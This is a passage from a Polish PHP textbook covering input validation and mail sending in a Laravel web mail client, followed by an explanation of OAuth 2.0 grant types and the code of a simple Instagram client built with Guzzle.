'message' => 'required'
]);

$from = $request->input('from');
$to = $request->input('to');
$subject = $request->input('subject');
$message = $request->input('message');

\Mail::raw($message, function($message) use ($to, $from, $subject) {


$message->from($from);
$message->to($to);
$message->subject($subject);
});

return redirect('inbox')->with('success', 'Wiadomość została wysłana!');


}
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 633

Pierwszymi czynnościami związanymi z obsługą przesłanego formularza powinny być zawsze


jak najlepsze sprawdzenie i walidacja danych wpisanych przez użytkownika. Taka kontrola
upraszcza późniejszą obsługę tych danych, a także — co ważniejsze — może zapobiec potencjal-
nym poważnym zagrożeniom bezpieczeństwa. Laravel udostępnia bardzo solidny komponent
Validation, służący do weryfikacji danych, z którego można korzystać za pośrednictwem metody
validate(), dostępnej w każdym kontrolerze Laravel.

Metoda validate() ma dwa parametry. Pierwszym z nich są weryfikowane dane, które mogą
mieć postać tablicy lub obiektu ArrayAccess. W naszym przykładzie jako ten pierwszy parametr
przekazywany jest bezpośrednio obiekt żądania, Requet, gdyż implementuje on interfejs PHP
ArrayAccess. Drugim parametrem metody validate() jest tablica par klucz-wartość, w której
kluczami są nazwy zmiennych przekazanych jako pierwszy parametr, a wartościami — łańcuchy
znaków definiujące reguły walidacji.

Wyczerpująca prezentacja wszystkich możliwości weryfikacji udostępnianych przez komponent


do walidacji znacznie wykracza poza ramy tematyczne tego rozdziału. Niemniej jednak patrząc
na powyższy kod, można zauważyć, że wszystkie reguły są zapisywane w tym samym, prostym
formacie:
<reguła>[:param1[,param2 [,…]]]

gdzie <reguła> to nazwa reguły (listę wszystkich dostępnych reguł można znaleźć w dokumentacji
Laravela, w sekcji poświęconej walidacji). Każda reguła może zawierać także jeden lub więcej
parametrów, przy czym pierwszy z nich należy poprzedzić znakiem dwukropka, a pozostałe
oddzielić od siebie przecinkami. Nie wszystkie reguły mają parametry, a poszczególne reguły
używane do sprawdzenia danej zmiennej wejściowej muszą być od siebie oddzielone znakami
potoku: "|".

W przedstawionej powyżej metodzie postSend() zastosowaliśmy reguły required, email oraz max.
Pierwsza z nich, required, upewnia się, że podana zmienna wejściowa istnieje. Jak można się
domyślić, reguła email sprawdza, czy dane wejściowe mogą być prawidłowym adresem e-mail
(oczywiście tego nigdy nie można być pewnym aż do momentu, gdy wiadomość zostanie przesłana
na serwer i przez niego odebrana). Reguła max określa natomiast maksymalną dopuszczalną
długość danych; w naszym przykładzie sprawdzamy, czy tytuł wiadomości nie składa się z więcej
niż 255 znaków.

Wywołanie metody validate() kontrolera w zupełności wystarczy do sprawdzenia poprawności


danych wejściowych na podstawie podanych reguł. Jeśli dane te nie będą prawidłowe, Laravel
automatycznie wykona wszelkie operacje niezbędne do ponownego wyświetlenia formularza oraz
poinformowania użytkownika o problemach. A zatem po sprawdzeniu poprawności danych wej-
ściowych możemy od razu przejść do ich przetwarzania, używając do tego dowolnej logiki. W na-
szym przykładzie zastosujemy kolejny komponent frameworka Laravel, a konkretnie — komponent
pozwalający na wysyłanie poczty elektronicznej.

Podobnie jak komponent Validation, także Mail jest bardzo solidny i przedstawienie pełnego
zestawu jego możliwości wykracza poza zakres tematyczny tego rozdziału. Śmiało można jednak
powiedzieć, że pozwala on na łatwe wysyłanie wiadomości poczty elektronicznej, zarówno w for-
macie tekstowym, jak i HTML, przy wykorzystaniu wielu różnych metod transportu, zaczynając
od klasycznego programu sendmail, a kończąc na dostawcach takich jak Mandrill. My skorzysta-
my z metody Mail::raw(), która umożliwia wysyłanie „nieprzetworzonych” wiadomości e-mail,
czyli takich, których treść nie jest tworzona przy użyciu widoku Blade. Poniżej przedstawiony
został przykład wywołania tej metody:
\Mail::raw($message, function($message) use ($to, $from, $subject) {
$message->from($from);
634 Część V  Tworzenie praktycznych projektów PHP i MySQL

$message->to($to);
$message->subject($subject);
});

Jak widać, pierwszym parametrem wywołania tej metody jest łańcuch znaków zawierający treść
wiadomości; w naszym przykładzie jest to dokładnie ten sam tekst, który został przesłany przez
użytkownika. Drugim parametrem jest domknięcie pobierające obiekt wiadomości. Domknięcie
to pozwala na zaimplementowanie dowolnej logiki niezbędnej do określenia szczegółów wiadomo-
ści, takich jak jej temat lub adres nadawcy i odbiorców. Po wykonaniu domknięcia Laravel zastosuje
ten obiekt wiadomości i spróbuje ją wysłać, używając transportu skonfigurowanego w aplikacji.
W naszym przykładzie spowoduje to wysłanie napisanej przez użytkownika wiadomości na podany
adres poczty elektronicznej.

Wnioski
Jeśli udało Ci się, Czytelniku, dotrzeć do tego miejsca, to gratulujemy! Musiałeś zmierzyć się
z obszernym materiałem obejmującym wiele zagadnień — zaczynając od konstrukcji aplikacji
tworzonych z użyciem frameworka Laravel, przez korzystanie z rozszerzenia PHP IMAP, a kończąc
na tworzeniu obiektowych bibliotek. Każdemu z tych zagadnień z powodzeniem można by poświę-
cić odrębny rozdział (a w niektórych przypadkach nawet całą książkę), więc dalsze ich analizowa-
nie możesz potraktować jako zadanie do samodzielnego wykonania. Możesz przy tym korzystać
z dwóch wspaniałych źródeł informacji, którymi są:
 dokumentacja frameworka Laravel: http://laravel.com/docs/;
 dokumentacja rozszerzenia IMAP języka PHP: http://php.net/imap.
Rozdział 30.
Integracja z mediami
społecznościowymi
— udostępnianie
i uwierzytelnianie
Wraz z ugruntowywaniem się pozycji mediów społecznościowych jako podstawy naszych interakcji
coraz więcej aplikacji internetowych zaczyna korzystać z integracji z tymi platformami. Choć każda
z platform implementuje te mechanizmy integracji w inny sposób (używając własnych usług
internetowych, wywołań API itd.) to istnieją jednak pewne wspólne trendy i rozwiązania —
zwłaszcza związane z uwierzytelnianiem — które cieszą się dużą popularnością. W tym rozdziale
przedstawimy wybrane z nich, na przykład OAuth, oraz pokażemy, jak można wykonywać pewne
powszechne operacje z użyciem popularnej platformy społecznościowej, jaką jest Instagram.
Warto zwrócić uwagę na to, że choć w niniejszym rozdziale skoncentrujemy się na Instagramie,
to zaprezentowane tu pojęcia i techniki można zastosować także w odniesieniu do większości
innych platform społecznościowych.

OAuth — internetowa usługa uwierzytelniająca


OAuth jest otwartym standardem autoryzacji, pozwalającym użytkownikom logować się w innych
witrynach z wykorzystaniem danych uwierzytelniających stosowanych na innych platformach
społecznościowych. Wiele blogów umożliwia logowanie się przy użyciu na przykład danych
uwierzytelniających stosowanych na Instagramie. Protokół OAuth jest obecnie dostępny w dwóch
podobnych, lecz niezgodnych ze sobą wariantach: 1.0 oraz 2.0, przy czym najczęściej imple-
mentowana jest drugi z nich. W tym rozdziale skoncentrujemy się na implementacji OAuth 2.0,
jednak wiele z prezentowanych tu pojęć ma także zastosowanie w odniesieniu do OAuth 1.0.

Aby zrozumieć OAuth, należy zdefiniować różne jednostki lub role, które będą uczestniczyć
w interakcji z procesem uwierzytelniania. Zawiera je na poniższa lista:
 Zasób — rzecz, do której chcemy uzyskać dostęp. W schematach OAuth często zdarza
się, że jedna operacja autoryzacji zapewnia dostęp do wielu zasobów, na przykład
użytkownik może chcieć udzielić komuś prawa do wyświetlania listy osób obserwujących
jego poczynania oraz wysyłania wiadomości na ich konta w serwisie Twitter (na którym
każdy jest odrębnym zasobem).
636 Część V  Tworzenie praktycznych projektów PHP i MySQL

 Właściciel — właściciel zasobów, których dotyczą operacje.


 Serwer zasobów — witryna (lub serwer) kontrolująca zasoby.
 Serwer autoryzacji — witryna (lub serwer) odpowiedzialna za uwierzytelnienie zasobu
i udzielenie dostępu do niego.
 Klient — aplikacja starająca się uzyskać dostęp do zasobu (lub zasobów) użytkownika.

Ostatecznym celem całej operacji jest sprawienie, by serwer uwierzytelniania udzielił klientowi
dostępu do jednego lub kilku zasobów użytkownika przechowywanych na serwerze zasobów.
Cały ten proces w wizualny sposób został przedstawiony na rysunku 30.1.

Rysunek 30.1. Proces uwierzytelniania i autoryzacji dostępu do zasobów użytkownika

Trzeba zwrócić uwagę na to, że diagram przedstawiony na rysunku 30.1 niekoniecznie musi dokład-
nie odpowiadać sekwencji przesyłanych żądań pomiędzy poszczególnymi podmiotami. Zależnie
od charakteru autoryzacji podanej przez użytkownika mogą się także zmieniać generowane żądania.
Jednak we wszystkich przypadkach ostatecznym celem OAuth jest dostarczenie klientowi żetonu
dostępu, pozwalającego mu uzyskać dostęp do zasobów, z których właściciel pozwolił korzystać.

Oczywiście stosowanie OAuth jest znacznie bardziej złożone, niż pokazuje to powyższy diagram,
dlatego opiszemy teraz kilka związanych z nim szczegółów. Przede wszystkim, aby klient mógł
uczestniczyć w transakcji OAuth, musi być znany serwerowi autoryzacji. Innymi słowy, oprócz
ewentualnego przydziału autoryzacyjnego (authorization grant) klient musi przekazać temu
serwerowi także swoje własne dane uwierzytelniające. Serwer autoryzacji przetwarza następnie
żądanie odnoszące się do konkretnego zasobu nie tylko na podstawie przedstawionego przy-
działu autoryzacji, lecz także na podstawie danych uwierzytelniających klienta. Każdy klient
musi zostać uprzednio zarejestrowany w danej usłudze (na przykład trzeba odwiedzić sekcję dla
programistów serwisu Twitter i zarejestrować w nim tworzoną aplikację) i uzyskać identyfikator
klienta (ang. Clinet ID), stanowiący informację publiczną, oraz klucz tajny klienta (ang. Client
Secret), stanowiący informację poufną, które są następnie używane w procesie autoryzacji.

Przebieg procesu OAuth po zarejestrowaniu się klienta w znacznej mierze zależy od charakteru
przydziału (ang. Grant), który właściciel autoryzuje na rzecz klienta. W przypadku protokołu
OAuth 2.0 wyróżnia się cztery podstawowe, unikalne typy udziałów:
 Kod autoryzacji (ang. Authorization Code) — używany przez aplikacje serwerowe
(takie jak aplikacje pisane w języku PHP), które chciałyby uzyskać dostęp do zasobu.
Rozdział 30.  Integracja z mediami społecznościowymi — udostępnianie i uwierzytelnianie 637

 Przydział niejawny (ang. Implicit) — stosowany przez aplikacje mobilne czy też inne
aplikacje, które w całości są wykonywane na urządzeniu nadzorowanym przez właściciela
(mogą to być na przykład aplikacje pisane w języku JavaScript lub aplikacje iPhone’a).
 Hasło właściciela zasobu (ang. Resource Owner Password Credential) — używane
wyłącznie przez zaufanych klientów, takich jak klienty w całości kontrolowane
przez właściciela zasobu.
 Dane uwierzytelniające klienta (ang. Client Credentials) — stosowane podczas
korzystania z API aplikacji.

W tym rozdziale skoncentrujemy się wyłącznie na pierwszych dwóch typach udziałów: kodzie
autoryzacji oraz przydziale niejawnym, gdyż bez wątpienia są one najczęściej używane podczas
implementowania OAuth w typowych aplikacjach internetowych.

Przydziały typu kod autoryzacji


Zaczniemy od najczęściej spotykanej implementacji OAuth, korzystającej z przydziału typu
kod autoryzacji. Przepływ żądań stosowany w tym przypadku można przedstawić w sposób pokaza-
ny na rysunku 30.2 (przy czym pominięto tu późniejsze żądania używające dostarczonego żetonu
dostępu).

Rysunek 30.2. Przebieg procesu w przypadku wykorzystania kodu autoryzacji

W przepływie opartym na kodzie autoryzacji, wykorzystywanym przez aplikacje serwerowe (takie


jak te pisane w PHP), klient przekierowuje użytkownika na zarządzany przez inną firmę serwer
autoryzacji, którego klient chciałby użyć, podając przy tym swój kod klienta. Serwer autoryzacji
odbiera żądanie i wyświetla właścicielowi formularz autoryzacji zawierający informacje o zasobach,
do których klient chciałby uzyskać dostęp, oraz prośbę o zgodę na przesłanie przydziału autoryzacji.
Jeśli właściciel nie został wcześniej osobno uwierzytelniony na serwerze autoryzacji (na przykład
jeśli nie zalogował się na Twitterze), to musi to zrobić, zanim będzie mógł zobaczyć ten formularz.
Kiedy właściciel potwierdzi już przydział, serwer autoryzacji tworzy kod autoryzacji i przekierowuje
właściciela z powrotem do klienta, dołączając wygenerowany kod.

Gdy aplikacja serwerowa ma już kod autoryzacji, może wygenerować kolejne żądanie HTTP,
które ponownie jest kierowane do serwera autoryzacji; zawiera ono identyfikator klienta aplikacji,
kod tajny klienta oraz otrzymany wcześniej kod autoryzacji. Po sprawdzeniu wszystkich tych
informacji przez serwer autoryzacji aplikacja otrzymuje żeton dostępu, który powinna zapisać
i którego może następnie używać, by odwoływać się do wybranych zasobów.
638 Część V  Tworzenie praktycznych projektów PHP i MySQL

Warto zauważyć, że stosowany tu termin żeton dostępu może być nieco mylący. Ogólnie rzecz
biorąc, dane zwracane przez serwer autoryzacji i określane tutaj jako „żeton dostępu” są strukturą
danych, która — między innymi — zawiera dwa niezależne żetony. Pierwszy z nich jest faktycz-
nym żetonem dostępu (ang. Access Token), a drugi — żetonem odświeżania (ang. Refresh Token).
Ściśle mówiąc, żeton dostępu nie może być używany bezterminowo, lecz jedynie przez określony
czas, po którego upłynięciu konieczne jest ponowne wykonanie procesu autoryzacji. Ponieważ
takie cykliczne żądanie od użytkownika potwierdzania zgody na dostęp byłoby niewygodne
i niepraktyczne, aplikacja serwerowa może w niezauważalny dla niego sposób poprosić o przy-
dzielenie nowego żetonu dostępu, używając do tego żetonu odświeżenia, przy czym cały ten
proces może być wykonany bez jakiejkolwiek ingerencji użytkownika. Okres ważności żetonu do-
stępu zawsze można określić na podstawie daty wygaśnięcia dostępnej w danych żetonu. Kiedy
ten okres minie, żeton dostępu można odświeżyć, korzystając z żetonu odświeżenia.

Przydziały niejawne
Czasami może się zdarzyć, że będziemy chcieli używać OAuth w sytuacjach, w których aplikacja
działająca na serwerze nie będzie dostępna (dotyczy to na przykład aplikacji mobilnych lub
aplikacji pisanych w języku JavaScript). Z myślą o takich przypadkach opracowano odrębną proce-
durę pozwalającą na uzyskanie przydziału autoryzacji, nazywaną przydziałem niejawnym (ang.
Implicit Grant). W odróżnieniu od przydziału opartego na kodzie autoryzacji, który weryfikuje
aplikację przesyłającą żądanie na podstawie jej informacji uwierzytelniających, w tym przypadku
tożsamość aplikacji jest weryfikowana wyłącznie na podstawie adresu URI. Nie jest także dostępny
żeton odświeżania. Schemat żądań generowanych podczas korzystania z przydziału niejawnego
został przedstawiony na rysunku 30.3.

Rysunek 30.3. Żądania OAuth generowane w przypadku korzystania z przydziału niejawnego

W celu uproszczenia prezentowanego schematu nie zamieściliśmy na nim wszystkich pomniejszych


kroków, choć ich ogólny przebieg został przedstawiony dostatecznie szczegółowo. Podobnie
jak procedura użycia kodu autoryzacji, także procedura użycia przydziału niejawnego rozpoczyna się
od przekierowania użytkownika na serwer autoryzacji w celu udzielenia klientowi praw dostępu do
określonych zasobów. Jednak o ile w przypadku kodu autoryzacji użytkownik był następnie
przekierowywany z powrotem do klienta wraz z odpowiednim kodem autoryzacji (przez co pobranie
żetonu dostępu wymagało wykonania kolejnego żądania), o tyle w tym przypadku żeton dostępu jest
zwracany bezpośrednio. Co więcej, klient może używać tego żetonu dostępu od razu. Niemniej
jednak, zgodnie z podanymi wcześniej informacjami, tak uzyskanego żetonu dostępu nie można
automatycznie odświeżyć przy pomocy żetonu odświeżenia, a po upłynięciu okresu ważności
procedura autoryzacji musi zostać wykonana ponownie.
Rozdział 30.  Integracja z mediami społecznościowymi — udostępnianie i uwierzytelnianie 639

Podczas tworzenia aplikacji internetowych, a zwłaszcza w przypadkach korzystania z integracji


z mediami społecznościowymi, przydziały oparte na kodzie uwierzytelniania oraz przydziały
niejawne są dwoma najczęściej stosowanymi sposobami używania protokołu OAuth 2.0. Choć
istnieją także inne sposoby, to jednak ich omówienie wykracza poza zakres tematyczny tego
rozdziału. W następnym punkcie rozdziału zdobyte wcześniej informacje związane z protokołem
OAuth zaczniemy wykorzystywać do zaimplementowania prostego, internetowego klienta serwisu
Instagram.

Implementacja internetowego klienta Instagrama


Pierwszym rodzajem integracji z mediami społecznościowymi, jaki zaprezentujemy, będzie integra-
cja z serwisem Instagram. Instagram implementuje mechanizm uwierzytelniania OAuth 2.0, a w tym
rozdziale skorzystamy z przydziału kodu autoryzacji, by pozwolić użytkownikom na stosowa-
nie naszej prostej przeglądarki strumienia z Instagrama. Tak jak wszystkie implementacje korzysta-
jące z OAuth 2.0, także nasza aplikacja w pierwszej kolejności musi zostać zarejestrowana
przez podmiot zarządzający dostępem do zasobów, których ma ona używać. Dlatego zaczniemy
właśnie od tego zadania.

Aby rozpocząć integrację z Instagramem, należy utworzyć konto programisty i zarejestrować


nową aplikację. Można to zrobić na stronie http://instagram.com/developer, gdzie należy kliknąć
sekcję Manage Clients. Po przejściu do tej sekcji witryny można utworzyć nowego klienta, klika-
jąc przycisk Register New Client oraz wypełniając krótki formularz dotyczący planowanej apli-
kacji. Pod względem technicznym najważniejszym elementem tego formularza jest lista prawi-
dłowych identyfikatorów URI do przekierowań, dlatego to właśnie na nie trzeba zwrócić
szczególną uwagę. Te URI muszą być prawidłowymi adresami stron WWW, na które klient
może zostać przekierowany przez Instagram w celu przekazania odpowiedniego kodu autoryza-
cji. W przypadku aplikacji internetowej w danym środowisku będzie używany zazwyczaj tylko
jeden taki adres, ale stosunkowo często zdarza się, że są używane dwa — jeden na potrzeby
aplikacji produkcyjnej, a drugi do celów programistycznych i rozwojowych.

Po zarejestrowaniu się klienta na Instagramie uzyskamy jego identyfikator oraz klucz tajny,
niezbędne do pomyślnego wykonania uwierzytelnienia. Obie te wartości należy zapisać, gdyż
mają one zasadnicze znaczenie dla tworzonej aplikacji.

Nasza aplikacja PHP będzie się składać z pięciu odrębnych skryptów PHP. Pierwszy z nich będzie
prostym plikiem konfiguracyjnym, zawierającym wartości konieczne do zaimplementowania
klienta OAuth. Kolejne dwa skrypty będą stanowić właściwą implementację klienta OAuth, a ostat-
nie dwa będą zawierać możliwości funkcjonalne implementowanego klienta Instagrama. Aby
zapewnić sobie możliwość łatwego wykonywania różnych żądań HTTP, skorzystamy z pakietu
Guzzle HTTP Client, pobranego za pośrednictwem Composera, a atrakcyjny wygląd aplikacji
uzyskamy dzięki wykorzystaniu frameworka CSS Bootstrap.

Zaczniemy od przedstawienia prostego skryptu konfiguracyjnego, settings.php, gdyż będzie on


wymagany przez wszystkie pozostałe skrypty wchodzące w skład naszej aplikacji:
<?php

return [
'client_id' => 'xxx',
'client_secret' => 'xxx',
'redirect_uri' => 'http://' . $_SERVER['HTTP_HOST'] . '/completeoauth.php',
'scopes' => [
'likes',
'basic',
640 Część V  Tworzenie praktycznych projektów PHP i MySQL

'public_content'
]
];

?>

Powyższy skrypt zawiera wszystkie wartości potrzebne do pomyślnego wykonania uwierzytel-


niania w oparciu o protokół OAuth na serwerach Instagrama. Plik ten ma być dołączany do
wszystkich innych skryptów PHP przy użyciu dyrektywy include_once. Wskazuje on postać
identyfikatora klienta oraz klucza tajnego (pobranych podczas rejestracji klienta na stronie
http://instagram.com/developer), adres URI przekierowania (określany na podstawie nazwy hosta),
który zostanie użyty do zakończenia procedury uwierzytelniania OAuth, oraz tablice wartości
zakresu.

Klucz scopes powyższych danych konfiguracyjnych zawiera bardzo ważną tablicę — definiuje
ona te informacje o użytkowniku, do których staramy się uzyskać dostęp podczas operacji
uwierzytelniania OAuth. W zasadzie można je sobie wyobrazić jako unikalne stałe łańcuchowe
charakterystyczne dla konkretnej platformy używanej do uwierzytelniania. Każda z tych stałych
reprezentuje odrębne możliwości funkcjonalne, dane czy też zasób, na których wykorzystanie
w aplikacji staramy się uzyskać zgodę użytkownika. Instagram udostępnia sporo takich wartości
zakresu, a pełną ich listę można znaleźć w dokumentacji serwisu zamieszczonej na stronie
https://www.instagram.com/developer/authorization/. Nas interesują zakresy likes, basic oraz
public_content, które pozwolą nam na pobieranie podstawowych informacji o koncie, informacji
o profilu publicznym oraz mediach dostępnych dla danego użytkownika, jak również możliwość
oznaczania treści jako ulubionych w imieniu użytkownika.

Strona logowania OAuth


Naszym pierwszym krokiem na drodze do utworzenia klienta Instagrama będzie przygotowanie
strony, która pozwoli użytkownikom na zalogowanie się z użyciem protokołu OAuth i da nam
prawo dostępu do ich konta na Instagramie. W tym celu musimy przygotować adres URL i dołączyć
go do odnośnika umieszczonego na naszej stronie, którego kliknięcie przeniesie użytkownika na
odpowiednia stronę na serwerze autoryzacji Instagrama, gdzie użytkownik będzie mógł wyrazić
zgodę na udzielenie aplikacji dostępu do niezbędnych zasobów. Zgodnie z dokumentacją Instagram
API (https://www.instagram.com/developer/authentication/) powinniśmy skierować użytkownika
na stronę http://api.instagram.com/oauth/authorize, przekazując przy tym wszelkie niezbędne
informacje na temat żądania kodu autoryzacji w formie parametrów żądania GET. Poniżej przedsta-
wiony został kod strony logowania, index.php, stanowiącej jednocześnie punkt wejścia do naszej
aplikacji:
<?php

require_once __DIR__ . '/../vendor/autoload.php';

$settings = include_once 'settings.php';

$authParams = [
'client_id' => $settings['client_id'],
'client_secret' => $settings['client_secret'],
'response_type' => 'code',
'redirect_uri' => $settings['redirect_uri'],
'scope' => implode(' ', $settings['scopes'])
];

$loginUrl = 'https://api.instagram.com/oauth/authorize?' . http_build_query($authParams);

?>
Rozdział 30.  Integracja z mediami społecznościowymi — udostępnianie i uwierzytelnianie 641

<html>
<head>
<title>Rozdział 30. - prosty klient Instagrama</title>
<link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/
bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8h
DDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
<link rel="stylesheet" href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap-
theme.min.css" integrity="sha384-fLW2N01lMqjakBkx3l/M9EahuwpSfeNvV63J5ezn3uZzap
T0u7EYsXMjQV+0En5r" crossorigin="anonymous">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"
integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS"
crossorigin="anonymous"></script>
</head>
<body>
<div class="container">
<h1>Rozdział 30. - prosty klient Instagrama</h1>
<div class="row">
<div class="col-md-4 col-md-offset-4">
<div class="panel panel-default">
<div class="panel-heading">
<h3 class="panel-title">Logowanie z Instagramem</h3>
</div>
<div class="panel-body">
<a href="<?=$loginUrl?>" class="btn btn-block btnprimary">
Zaloguj się, używając Instagrama</a>
</div>
</div>
</div>
</div>
</div>
</body>
</html>

Pomijając kod HTML używany do wyświetlenia strony, powyższy skrypt PHP rozpoczyna się od
dołączenia pliku autoload.php. Instrukcja ta służy do wczytania pliku autoload.php wygenerowane-
go przez Composer i zapewnia naszej aplikacji dostęp do dodatkowych modułów — w naszym
przykładzie jest to klient Guzzle HTTP. Choć dołączanie tego pliku na tej stronie nie jest absolutnie
niezbędne, to jednak dla uproszczenia aplikacji będziemy go dołączać do wszystkich tworzących
ją skryptów PHP.

Następnie wczytujemy tablicę ustawień z opisanego wcześniej pliku settings.php i zapisujemy


ją w zmiennej $settings, używając instrukcji include_once. Kolejną operacją jest utworzenie
tablicy par klucz-wartość reprezentujących różne parametry żądania GET, które należy przekazać
na serwer Instagrama, kiedy użytkownik kliknie przycisk Zaloguj się, używając Instagrama,
a następnie dodać do odpowiedniego adresu URL Instagrama przy użyciu funkcji PHP
http_build_query(). Ta przydatna funkcja tworzy prawidłowy łańcuch zapytania HTTP na podsta-
wie tablicy asocjacyjnej, który następnie wystarczy dodać do adresu URL.

Po utworzeniu adresu URL do autoryzacji musimy rozpocząć cały proces uwierzytelniania


OAuth na serwerze Instagrama. Wykorzystujemy do tego wygenerowany adres w przycisku
Zaloguj się, używając Instagrama, którego kliknięcie spowoduje rozpoczęcie uwierzytelniania.

Kolejny etap procesu jest obsługiwany na serwerze Instagrama, który najpierw poprosi użytkownika
o zalogowanie się na koncie Instagram, a następnie o udzielenie odpowiednich zezwoleń na
podstawie zakresu (lub zakresów) określonego w parametrach początkowego żądania GET. Zakłada-
jąc, że użytkownik uwierzytelni żądanie, Instagram przekieruje użytkownika pod podany adres
URI i doda jako jego parametr specjalny kod. Tym parametrem jest potrzebny nam kod autoryzacji,
niezbędny do pobrania żetonu dostępu.
642 Część V  Tworzenie praktycznych projektów PHP i MySQL

Kończenie autoryzacji OAuth


Kiedy użytkownik ponownie pojawi się w naszej aplikacji po kliknięciu przycisku Zaloguj się,
używając Instagrama, trafi na stronę complete-oauth.php, na którą zostanie przekierowany —
zgodnie z naszymi instrukcjami — przez serwer Instagrama po autoryzacji początkowego żądania
naszej aplikacji. Gdy to nastąpi, Instagram doda także do parametrów żądania GET kod, który
umożliwi nam pobranie żetonu dostępu. Za pobranie tego kodu odpowiada poniższy skrypt PHP:
<?php

use GuzzleHttp\Client;
use GuzzleHttp\Exception\ClientException;
require_once __DIR__ . '/../vendor/autoload.php';

$settings = include_once 'settings.php';

if(!isset($_GET['code'])) {
header("Location: index.php");
exit;
}

$client = new Client();

try {
$response = $client->post('https://api.instagram.com/oauth/access_token',
[
'form_params' => [
'client_id' => $settings['client_id'],
'client_secret' => $settings['client_secret'],
'grant_type' => 'authorization_code',
'redirect_uri' => $settings['redirect_uri'],
'code' => $_GET['code']
]
]);
} catch(ClientException $e) {
if($e->getCode() == 400) {
$errorResponse = json_decode($e->getResponse()->getBody(), true);
die("Błąd uwierzytelniania: {$errorResponse['error_message']}");
}
throw $e;
}

$result = json_decode($response->getBody(), true);

$_SESSION['access_token'] = $result;

header("Location: feed.php");
exit;

Ten skrypt rozpoczyna się od opisanego już wcześniej dołączenia pliku autoload.php wygenero-
wanego przez Composer oraz wczytania tablicy ustawień, która zostaje zapisana w zmiennej
$settings. Następnie upewniamy się, czy zgodnie z oczekiwaniami dostępny jest parametr żądania
HTTP GET o nazwie code. Zakładając, że parametr ten został przekazany, możemy utworzyć instan-
cję klienta Guzzle HTTP i użyć go do wykonania żądania POST skierowanego ponownie do serwera
autoryzacji Instagrama. Korzystając z tego żądania, przesyłamy na serwer wszystkie niezbędne
dane i kojarzymy je z kluczem form_params. Wśród danych znajdują się identyfikator klienta
oraz jego klucz tajny, określenie typu przydziału, adres URI przekierowania, jak również kod
autoryzacji przekazany we wcześniejszym żądaniu.
Rozdział 30.  Integracja z mediami społecznościowymi — udostępnianie i uwierzytelnianie 643

Po przesłaniu żądania Instagram uwierzytelni wszystkie przekazane dane, aby sprawdzić żądanie
autoryzacji, a następnie w odpowiedzi zwróci żeton dostępu. W razie niepowodzenia autoryzacji
Instagram zwróci kod błędu HTTP 400, który w naszym kliencie zostanie zgłoszony jako wyjątek.
Wyjątek ten jest przechwytywany i wyświetlany w celach diagnostycznych jako komunikat.
W przypadku prawidłowego obsłużenia żądania serwer przekazuje w odpowiedzi dokument w for-
macie JSON, zawierający żeton dostępu, żeton odświeżenia oraz kilka innych metainformacji,
takich jak data wygaśnięcia ważności żetonu dostępu. W standardowej aplikacji informacje te
zostałyby zapisane w jakimś trwałym magazynie związanym z danym użytkownikiem (na przykład
w bazie danych), ale w naszej prostej aplikacji zachowamy je jedynie w sesji użytkownika.
Skoro uzyskaliśmy już ważne informacje uwierzytelniające pozwalające na interakcję z Instagra-
mem w imieniu naszego użytkownika, możemy przekierować go do punktu głównej aplikacji i wy-
świetlić strumień komunikatów z jego konta na Instagramie. Zadanie to realizuje kolejny skrypt,
feed.php, który zostanie przedstawiony w następnym podpunkcie rozdziału.

Wyświetlanie strumienia z Instagrama


Skrypt feed.php zapewnia dostęp do kluczowych możliwości funkcjonalnych naszej aplikacji
związanych z serwisem Instagram. Skrypt ten zakłada, że użytkownik autoryzował już żądanie
dostępu do swojego konta na Instagramie. Ponieważ nasza aplikacja służy jedynie do celów demon-
stracyjnych, oferuje możliwość wykonywania jedynie kilku podstawowych zadań, takich jak:
 wczytywanie kilku ostatnich mediów dostępnych w publicznym kanale użytkownika,
chyba że będzie dostępny znacznik umożliwiający jego przeszukanie;
 polubienie konkretnego wpisu.

Jako że ten skrypt jest nieco bardziej złożony niż poprzednie, opiszemy go w dwóch częściach.
Pierwsza z nich zawiera logikę wykonywaną przed wygenerowaniem interfejsu strony, a druga
obejmuje kod związany z generowaniem tego interfejsu.

Przyjrzyjmy się zatem pierwszej części skryptu feed.php:


<?php

require_once __DIR__ . '/../vendor/autoload.php';

use GuzzleHttp\Client;

if(!isset($_SESSION['access_token']) || empty($_SESSION['access_token'])) {
header("Location: index.php");
exit;
}

$requestUri = "https://api.instagram.com/v1/users/self/media/recent";
$recentPhotos = [];
$tag = '';

if(isset($_GET['tagQuery']) && !empty($_GET['tagQuery'])) {


$tag = urlencode($_GET['tagQuery']);
$requestUri = "https://api.instagram.com/v1/tags/$tag/media/recent";
}

$client = new Client();

$response = $client->get($requestUri, [
'query' => [
'access_token' => $_SESSION['access_token']['access_token'],
'count' => 50
644 Część V  Tworzenie praktycznych projektów PHP i MySQL

]
]);

$results = json_decode($response->getBody(), true);

if(is_array($results)) {
$recentPhotos = array_chunk($results['data'], 4);
}

?>

Skrypt rozpoczyna się od wykonania kilku zabezpieczających testów, które pozwalają upewnić
się, że faktycznie posiadamy żeton dostępu, i przekierowują użytkownika na stronę logowania,
jeśli okazuje się, że żeton ten nie jest dostępny. Po tej weryfikacji żetonu inicjujemy kilka
zmiennych: $requestUri (zawierającą adres URI, którego będziemy używać w celu pobrania me-
diów z Instagram API), $recentPhostos (której będziemy używać do przechowywania mediów
pobieranych przy użyciu żądań) oraz $tag (zawierającą znacznik stosowany do wyszukiwania
i pobierania mediów).

Domyślnie zależy nam na pobieraniu najnowszych dostępnych mediów, chyba że został podany
jakiś znacznik. A zatem inicjujemy zmienną $requestUri, zapisując w niej adres odpowiedniego
punktu końcowego, a następnie sprawdzamy, czy w żądaniu HTTP GET został podany parametr
queryTag. Jeśli nie został, to wykonamy żądanie pobierające najnowsze media, a jeśli został,
skierujemy żądanie do innego adresu URI w API Instagrama, który pozwoli nam pobrać wyłącznie
media zawierające podany znacznik. Zastosowanie takiego rozwiązania jest możliwe dlatego,
że wyniki zwracane przez Instagram API w obu przypadkach są na tyle podobne, że możemy
ich używać podczas generowania jednego interfejsu użytkownika naszej strony.

